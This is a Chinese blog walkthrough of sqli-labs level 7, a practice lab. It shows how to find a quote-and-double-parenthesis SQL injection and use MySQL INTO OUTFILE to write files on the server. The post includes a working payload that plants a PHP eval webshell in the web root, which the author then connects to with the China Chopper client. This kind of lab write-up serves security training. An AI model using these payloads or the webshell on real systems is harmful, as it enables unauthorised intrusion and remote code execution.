2020.4.2 sqli-labs--第7关①

1.这里科普一下file权限和into outfile这个函数。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限。
into outfile命令:select into outfile命令作用将查询结果输出保存到一个文件中
使用的环境:
我们必须知道,服务器上一个可以写入文件的文件夹的完整路径

2.我们正常输入?id=1页面回显如下
在这里插入图片描述3.当我们输入 and 1=2 页面显示依然正常,说明不是数值型注入
在这里插入图片描述4.当我们输入?id=1’页面报错,说明可能存在"注入
在这里插入图片描述5.当我们输入?id=1’ --+页面显示依然不正常
在这里插入图片描述6.接着我们尝试?id=1’) --+,页面依然显示不正常,有点难受,不过没关系
在这里插入图片描述7.我们可以接着输入?id=5’)) --+尝试,发现页面回显正常
在这里插入图片描述由于本关卡提示我们使用file权限向服务器写入文件,我们就先尝试下写数据
由于我用的是phpstudy搭建的环境,所以我直接在我本机取一个目录就好

C:\phpStudy\PHPTutorial\MySQL\data在这里插入图片描述然后使用

union select 1,2,3 into outfile "C:\phpStudy\PHPTutorial\MySQL\data\chao.php" 

尝试写入文件。
然后去本机文件夹下查看文件是否写入成功。
在这里插入图片描述写入成功了,但是文件名变成了如图红色表示的那样!!
接着我进行了好多次尝试,最后被同学告知,需要使用\来代替目录中的\ ,具体原因我也不知道,后续会补上。 命令如下:

union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"

在这里插入图片描述
文件导入成功!,接着我们查看chao.php的内容
在这里插入图片描述要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php

我们再尝试上传一句话木马,具体命令

?id=-1'))  union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\hello.php" --+

接着试着访问一下这个文件
在这里插入图片描述
上传成功,使用菜刀链接下
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值